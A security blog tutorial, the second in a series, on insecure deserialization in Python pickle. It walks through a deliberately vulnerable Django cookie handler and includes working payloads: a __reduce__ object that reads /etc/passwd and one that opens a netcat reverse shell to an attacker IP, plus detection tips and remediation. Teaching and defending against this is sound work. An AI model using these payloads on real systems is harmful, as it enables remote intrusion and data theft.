How Eggxactly Insecure Deserialization Exploit works – Part 2

This is a continued post of Insecure Deserialization Exploit – Part 1. In the previous post, we saw a demo of a RCE, we discussed how serialization and deserialization work along with a warning by Python documentation to not unpickle untrustetd data.

I can control the object, how do I RCE?

The end users can edit the user.pickle and replace the content with serialized byte stream of another object. How can this lead to Remote Code Execution?

The unstrusted users can use the same serialization code to create a serialized byte stream of a payload that can let them run arbitrary code and pass it on to the Insecure Deserialization. The problem is Payload should be an object. We have __reduce__() method to solve this! The __reduce__ is a method available to handle failures faced during serialization of certain objects like Opening a file. Consider the following code:

import pickle


class MyClass(object):
    def __init__(self, file_path="1337-msg.txt"):
        self._file_name = file_path
        self.some_file_opened = open(self._file_name, 'wb')


my_test = MyClass()
saved_object = pickle.dumps(my_test)
print(repr(saved_object))
Output of the-need-of-reduce-problem.py

The Python code can understand that open is a dynamic object that is referring to 1337-msg.txt file but when MyClass is serialized, it looses the context of referring to the txt file and throws TypeError Exception during pickling. The __reduce__ allows us to return the MyClass object by setting the context of the file.

import pickle


class MyClass(object):
    def __init__(self, file_path="1337-msg.txt"):
        self._file_name = file_path
        self.some_file_opened = open(self._file_name, 'wb')

    def __reduce__(self):
        return self.__class__, (self._file_name,)


my_object = MyClass()
pickled_object = pickle.dumps(my_object)
print(repr(pickled_object))
Output of the-need-of-reduce-solution.py

The __reduce__() method returns a callable object that gets initialized during deserialization and a tuple of arguments required to initialize the object. This method originally exists to solve above said problem. But we as attackers, can use this method to return an object that allow us to run arbitrary code.

Creating a Payload

We can use the same code that serializes object to file, to generate a payload. We will return os.system() object using __reduce__(). We will cat the /etc/passwd file for a proof-of-concept of remote code execution.

import pickle


class Exploit(object):
    def __reduce__(self):
        import os
        return os.system, ("cat /etc/passwd",)


def create_payload():
    pickle_file = "user.pickle"
    payload = Exploit()
    with open(pickle_file, "wb") as file:
        pickle.dump(payload, file)


if __name__ == '__main__':
    create_payload()

Running attack.py will create the payload into user.pickle. If deserialize-from-file.py is run, it will execute cat /etc/passwd.

Target: Django Application

In the beginning of the Part 1 post, you have seen the video that lead a cookie value to get an interactive reverse-shell. Let’s find how that happened.

The homepage is index view. It accepts first_name and last_name from the HTTP Request, dumps into an serialized object, base64encode it and set it on the user cookie.

def index(request):
    if request.method == "POST":
        first_name = request.POST.get("first_name")
        last_name = request.POST.get("last_name")

        user = {"first_name": first_name, "last_name": last_name}
        response = redirect('/xploitpickl/dashboard')
        user_encoded = b64encode(pickle.dumps(user))
        user_encoded = user_encoded.decode("utf-8")  # For byte to string
        response.set_cookie('user', user_encoded)
        return response

    return render(request, 'index.html')

After entering First Name and Last Name, the user redirected to /dashboard. The dashboard view will read the user cookie from request, convert it into user object and sent to dashboard.html template. The template will show the first name while rendering.

def dashboard(request):
    try:
        if request.COOKIES.get('user'):
            user_cookie = request.COOKIES.get('user')
            user_cookie = b64decode(user_cookie)
            user = pickle.loads(user_cookie, encoding='utf-8')  # Warning: Insecure!
            context = {"app_user": user}
            return render(request, 'dashboard.html', context)
        else:
            return redirect("/")
<!-- Nav Item - User Information -->
<li class="nav-item dropdown no-arrow">
    <a class="nav-link dropdown-toggle" href="#" id="userDropdown" role="button"
        data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
        <span class="mr-2 d-none d-lg-inline text-gray-600 small">
            {{ app_user.first_name }}
        </span>
        <img class="img-profile rounded-circle"
            src="{% static 'img/undraw_profile.svg' %}">
    </a>
</li>

Django follows MVC design pattern. The developers by nature tend to use object extensively. The cookie is user controlled in the request. As now we understand, we can serialize a malicious payload object, base64encode it and set it on the user cookie. When the /dashboard is loaded, it will happily deserialize any serialized data set on the cookie and convert them into python objects.

Final Exploitation

Start a netcat listener on port 8888:

nc -nvlp 8888

We will use a similar code we saw in attack.py. We will pass a Netcat Reverse shell argument to os.system() and return it via __reduce__() method. We will print the base64encoded encoded string of the serialized object as /dashboard expects. Remember change the IP address if you are copying this code.

from base64 import b64encode
import pickle


class Exploit(object):
    def __reduce__(self):
        import os
        return os.system, (b"nc -c sh 192.168.17.129 8888", )


def just_serialize():
    my_data = Exploit()
    my_data_pickled = pickle.dumps(my_data)
    my_data_pickled = b64encode(my_data_pickled).decode("utf-8")
    print(my_data_pickled)


if __name__ == '__main__':
    just_serialize()

Copy the printed content on to user cookie and reload /dashboard. You will see the reverse shell connected.

Why pickle does it this way?

The remote code execution is possible not because the byte stream data contain reverse shell payload. It’s because how pickle treat the objects while deserializing. It’s creates objects by calling the constructors named in the pickle. The unpickling happens at the Pickle Virtual Machine (PVM). For it, the serialized stream is actually instructions as it handles the Opcodes directly.

Common Places to check for Insecure Deserialization

While learning about your target, look at the following functionalities:

  • How the cookies values look like and how they are handled
  • If there is any file being accepted by the users, if the application reads and process log files, dump Panda dataframe into binary files
  • Reading social media feeds, Twitter tweets for example – This is a real incident when Insecure Deserialization came into light first.
  • Or any other user controlled data getting converted into Objects

White-box Testing:

Look for the following if you are performing code reviews

  • Python: pickle.loads(), pickle.load(), yaml.load()
  • Php: unserialize()
  • Java: XMLdecoder, XStream.fromXML(), ObjectInputStream.readObject, readObjectNodData, readResolve, readExternal, readUnshared, Serializable etc.

Black-box Testing:

If you don’t have access to the source code, look for the following patterns in HTTP traffic or persisted data in cookie, file etc. These can be found directly or after base64decoding (could have used other algorithms too).

  • Python: data ends with dot (.) – what we saw before
  • Java: AC ED 00 Hex, ro0, Content-Type: application:x-java-serialized-object
  • .NET: AAEAAAD//////

Utilities for detection and exploitation

Some automated scanners can find traces of Insecure Deserialization. There are also many Burp Suite Extensions as well, Java Deserialization Scanner by federicodotta is one of them.

Y So Serial??!

ysoserial by frohoff is a very popular utility for exploiting insecure deserialization in Java based applications. It can find a possible gadget-chain that can be used to perform arbitrary remote code execution. pwntester maintains ysoserial.net for .NET based applications.

Remediation

How to fix Insecure Deserialization Vulnerabilities

  • Don’t spoil your pickle in python. As the documentation said, do not unpickle data you don’t trust.
  • In other languages like java, the usual way of fixing is using a Look Ahead approach with a whitelisted classes. This way we validate the classes before we deserialize into the objects.
  • Be careful with what classes are whitelisted. If you whitelist HashMap, Array Sets etc, it might lead to Denial of Service (DoS) by billion laughs attack. Check the length or depth of the Array Sets if you need one these classes whitelisted. In java 9, using SerialFilter can also be a good solution to fix this problem.

How to avoid Insecure Deserialization in Design

  • Prefer language-agnostic formats such as JSON, YAML over native binary streams.
  • Do not rely on Web Application Firewalls (WAF) or other network security solutions. They don’t have visibility into the objects deserialization which is usually handled in the application programming layer.
  • Avoid dynamic, generic serialize-deserialize. Implement a class-specific serialization. This way, the data can be deserialized only to a specific custom class/model in your application.

Hope you found these posts helped you understand the vulnerability. You can find all the source code on my github repo and the original slides presented at the Null Hyd meet.

Reference:

Leave a Reply

Your email address will not be published. Required fields are marked *